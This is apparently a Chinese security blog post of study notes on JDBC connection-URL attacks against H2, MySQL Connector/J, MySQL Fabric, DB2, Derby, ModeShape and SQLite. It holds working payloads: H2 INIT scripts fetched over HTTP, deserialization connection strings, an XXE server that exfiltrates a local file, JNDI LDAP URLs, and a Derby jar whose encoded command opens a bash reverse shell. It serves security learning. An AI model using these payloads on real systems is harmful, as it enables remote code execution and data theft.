2250 字
11 分钟
JavaSec-JDBC-Attack

H2数据库 RCE#

官网下载h2数据库的包,运行bin下的sh脚本文件启动h2数据库

H2 INIT执行Java方法#

H2数据库在连接之后在初始化步骤可以执行脚本,指定

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "1";}';CALL EXEC ('firefox')

保存为sql文件,在目录下开启httpserver,再指定jdbc时可以指定初始命令为我们做好的恶意文件

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/evil.sql'

运行firefox即可弹出,本质上就是可以运行自定义Java方法

通过JavaScript运行java方法#

将连接H2数据库之后的INIT操作绑定了JS,通过java的触发器触发,因为h2数据库的触发器允许进行java代码

public class AttackH2ByJavaScript {  
  
    public static void main(String[] args) throws Exception {  
       // 装载驱动  
       Class.forName("org.h2.Driver");  
  
       String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"gnome-calculator\")";  
       String url        = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '" + javascript + "'";  
  
       Connection conn = DriverManager.getConnection(url);  
       conn.close();  
    }  
}

通过Groovy脚本运行#

@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("gnome-calculator")
})
def x;

@ASTTest是Groovy的编译时注解,其value参数中的代码会在编译阶段执行

String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"gnome-calculator\")" + "})" + "def x";  
String url    = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";

Mysql JDBC 反序列化#

ServerStatusDiffInterceptor的方法触发#

ServerStatusDiffInterceptor 参数建立连接后执行 SHOW SESSION STATUS 并反序列化结果

利用点在于调用JDBC组件的readobject方法 在mysql-connector-java组件的ResultSetImpl文件中的getObject方法下调用了readobject

可以看到需要经过几个ifelse判断

int columnIndexMinusOne = columnIndex - 1;  
if (this.thisRow.getNull(columnIndexMinusOne)) {  
    return null;  
} else ...

第一个判断了返回数据的列数,如果为null则不进行后续操作保留系统性能,好绕 第二层是对sql返回的数据的判断,叠了层switch case,这里需要进入BIT类型,也就是二进制类型,并且需要满足isBinary()isBlob()

之后程序将得到的二进制数据存进数组data,判断jdbcurl的autoDeserialize的布尔值,为true则继续进入下一个if

if (data[0] != -84 || data[1] != -19) {  
    return this.getString(columnIndex);  
}

这个if通过魔数判断了二进制数据是否为序列化数据,之后就直接对其进行readobject了🎉

那么谁调用了这个getobject呢?

resultSetToMap掉了, 它又被ServerStatusDiffInterceptor类的populateMapWithSessionStatusValues调用,之后被preProcess调用,这条链子用到了ServerStatusDiffInterceptor类的方法,主要涉及到的查询语句是SHOW SESSION STATUS

populateMapWithSessionStatusValues:86, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:103, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1124, NativeProtocol (com.mysql.cj.protocol.a)
.....

这条链子的一些payload,直接搬了

这里的版本指的是连接组件的版本

MySQL 版本范围可用性JDBC 连接字符串
8.x.x可用jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
6.x.x可用jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.11 及以上的 5.x 版本可用jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.10 及以下的 5.1.x 版本可用(需查询)jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.0.x不可用-
5.1.0 - 5.1.10可用(需查询)jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.11 - 5.x.xx可用jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
6.x.x可用jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
8.0.20 以下可用jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

detectCustomCollations触发#

detectCustomCollations 参数建立连接后执行 SHOW COLLATION 并反序列化结果

与上者的区别在于用到了不同的链子去调用ResultSetUtil类的resultSetToMap方法

我这里全局搜索resultSetToMap只能找见resultSetToMap的定义,找不到被调用的地方,怎么搜索都找不到,有点不解了

每个版本都有点不同,这里记录6.0.2的,在buildCollationMapping这个方法下存在对resultSetToMap方法的调用,之后的链子不变,也是调用getobject然后调用readobject

payload

MySQL 版本范围可用性JDBC 连接字符串
5.1.41 及以上不可用-
5.1.29 - 5.1.40可用jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
5.1.28 - 5.1.19可用jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
5.1.18 以下的 5.1.x不可用-
5.0.x不可用-
5.1.19 - 5.1.28可用jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
5.1.29 - 5.1.48可用jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
5.1.49不可用-
6.0.2 - 6.0.6可用jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
8.x.x不可用-

fabric#

MySQL Fabric 是一个用于管理 MySQL 集群的高可用性和可扩展性的解决方案。它主要用于简化 MySQL 集群的管理和维护,提供自动化的故障转移、数据分片和读写负载均衡功能。

public class AttackFabric {  
  
    public static void main(String[] args) throws Exception {  
  
       // 可以不指定 driver,使用 SPI 机制分配 FabricMySQLDriver       String url = "jdbc:mysql:fabric://127.0.0.1:5000";  
       DriverManager.getConnection(url);  
    }  
  
}

pom.xml中添加如下版本mysql驱动

<dependency>  
    <groupId>mysql</groupId>  
    <artifactId>mysql-connector-java</artifactId>  
    <version>5.1.36</version>  
</dependency>

在旧版本的mysqlConnector中还包含了com.mysql.fabric.jdbc.FabricMySQLDrive这个连接器,它用来解析jdbc:mysql:fabric:/开头的JDBC链接

Properties parseFabricURL(String url, Properties defaults) throws SQLException {  
    return !url.startsWith("jdbc:mysql:fabric://") ? null : super.parseURL(url.replaceAll("fabric:", ""), defaults);  
}

这个方法对jdbc的链接头做了匹配,若为fabric链接则进入fabric进行处理 之后在FabricMySQLConnectionProxy类中,会对JDBC指定的服务器发送个xml探测

对5000端口nc,发现在链接jdbc的时候,会想我们的服务器发送一个xml 那么这就是个基础的SSRF,进一步利用可以XXE

构造以下XXE网页

from flask import Flask  
app = Flask(__name__)  
  
@app.route('/xxe.dtd', methods=['GET', 'POST'])  
def xxe_oob():  
   return '''<!ENTITY % aaa SYSTEM "file:///tmp/1.txt">  
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://127.0.0.1:5000/xxe?data=%aaa;'>">  
%demo;'''  
  
@app.route('/', methods=['GET', 'POST'])  
def dtd():  
   return '''<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY % xd SYSTEM "http://127.0.0.1:5000/xxe.dtd">  
%xd;  
]>  
<root>&bbbb;</root>'''  
  
if __name__ == '__main__':  
   app.run()

放在JDBC链接里connect,我们可以在log中看到回显服务器的任意文件内容

DB2#

通过jndi打的,没搞清楚怎么回事,遂记录利用方法

使用JNDIKit启动服务,指定使用链即可,这个JNDIKit自己编译就行了

public class AttackTest {  
  
    public static void main(String[] args) throws Exception {  
       // 注册驱动  
       Class.forName("com.ibm.db2.jcc.DB2Driver");  
  
       DriverManager.getConnection("jdbc:db2://127.0.0.1:8000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/BashCommand;");  
    }  
  
}

运行可弹

Derby#

Apache Derby 是一个完全用 Java 编写的开源关系型数据库管理系统(RDBMS),属于 Apache 软件基金会的一个项目。它的核心特点包括轻量级、嵌入式支持和跨平台性,适用于多种应用场景

关于Derby的JDBC攻击主要是通过主从复制 然后我怎么都复现不出来,先跳过吧,后面补

N1CTF 2024 Derby(JNDI)复现(思路复现😢)#

翻着去年boogipop师傅的N1CTFwp,才发现Derby还有一个JNDI注入方法,这次来复现一下: 源码在官方的wp中已给出,IDEA开个springboot项目然后把路径逻辑和依赖添加一下就好

<dependencies>  
    <dependency>  
        <groupId>org.springframework.boot</groupId>  
        <artifactId>spring-boot-starter-web</artifactId>  
    </dependency>  
  
    <dependency>  
        <groupId>org.springframework.boot</groupId>  
        <artifactId>spring-boot-starter-tomcat</artifactId>  
        <scope>provided</scope>  
    </dependency>  
    <dependency>  
        <groupId>org.springframework.boot</groupId>  
        <artifactId>spring-boot-starter-test</artifactId>  
        <scope>test</scope>  
    </dependency>  
  
    <dependency>  
        <groupId>com.alibaba</groupId>  
        <artifactId>druid</artifactId>  
        <version>1.2.21</version>  
    </dependency>  
    <dependency>  
        <groupId>org.apache.derby</groupId>  
        <artifactId>derby</artifactId>  
        <version>10.14.2.0</version>  
    </dependency>  
</dependencies>
package com.orxiain.n1ctf2023;  
  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.bind.annotation.RequestParam;  
import org.springframework.web.bind.annotation.RestController;  
  
import javax.naming.Context;  
import javax.naming.InitialContext;  
  
@RestController  
public class IndexController {  
    @RequestMapping("/")  
    public String index() {  
        return "hello derby";  
    }  
  
    @RequestMapping("/lookup")  
    public String lookup(@RequestParam String url) throws Exception {  
        Context ctx = new InitialContext();  
        ctx.lookup(url);  
        return "ok";  
    }  
}

我们先来看看lookup路由,它给了个JNDI入口点,那么正常思路是通过JNDI注入打反序列化链子,但因为JDK高版本,模块的强封装性限制了模块之间的访问,很难利用其他组件

这里是借助了Druid的DruidDataSourceFactory#getObjectInstance,将JNDI转化为了JDBC去打 它调用了createDataSourceInternal

protected DataSource createDataSourceInternal(Properties properties) throws Exception {  
    DruidDataSource dataSource = new DruidDataSource();  
    config(dataSource, properties);  
    return dataSource;  
}

在最后调用了dataSource的init

在init方法中的后半部分,createPhysicalConnection()方法调用了JDBC链接

在后面进行了链接

之后得想办法RCE,在DruidDataSourceFactory中有和H2类似的initSql语句功能 在DruidAbstractDataSource中找见了相关属性

回去在config函数可以找见

那么我们可以执行任意的SQL语句了,而derby数据库RCE过程如下,可以导入jar,并执行其中的静态方法

## 导入一个类到数据库中
CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)
 
## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')
 
## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'
 
## 调用PROCEDURE
CALL SALES.TOTAL_REVENUES()

构造命令执行类

import java.io.IOException;  
  
public class shell {  
   public static void exec() throws IOException {  
       Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTU1NTUgPCYx}|{base64,-d}|{bash,-i}");  
   }  
}

编译为jar

javac src/shell.java
jar -cvf shell.jar -C src/ .

现在写ldap服务器,将工厂类设置为DruidDataSourceFactory,并设置其中的一些属性值,主要是jdbc链接和初始化SQL方法等 … 按理来说是没有问题的,但因为没附件,大概在一些点上不能做到环境完美搭建,所以我怎么照着payload字符级别复刻都没出来。。。 不过搞一次学到的还是挺多的,之后汇总做做最近的java题😢

https://exp10it.io/2024/02/n1ctf-junior-2024-web-official-writeup/#derby

Modeshape#

ModeShape 是一个基于 ​JCR (Java Content Repository) 规范的开源内容存储系统,旨在提供一种结构化的方式来存储和管理内容。它适用于需要强大内容管理、版本控制和搜索功能的应用程序。ModeShape 是一个分层的、事务性的、一致的数据存储库,支持查询、全文搜索、事件、版本控制、引用和灵活的动态模式

public class AttackTest {  
  
    public static void main(String[] args) throws Exception {  
       // 注册驱动  
       Class.forName("org.modeshape.jdbc.LocalJcrDriver");  
       // jcr 协议支持  
       DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1389/deserialCommonsCollections5");  
    }  
  
}

起个恶意ldap服务打就行了

SQLite#

CoreConnection这个类中,它对JDBC的url的前缀进行了判断,如果是resource,则获取链接中的内容

保存之后并尝试加载

这里存在SSRF,如果有更多权限可以尝试加载恶意so

之后#

决定照着su18师傅的文章手搓FakeServer

Links#

Boogipop https://forum.butian.net/share/2872 https://tttang.com/archive/1877/#toc_1detectcustomcollations

强烈推荐: https://su18.org/post/jdbc-connection-url-attack/

https://exp10it.io/2024/02/n1ctf-junior-2024-web-official-writeup/#derby

JavaSec-JDBC-Attack
https://fuwari.vercel.app/posts/javasec-jdbcattack/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2025-03-13
许可协议
CC BY-NC-SA 4.0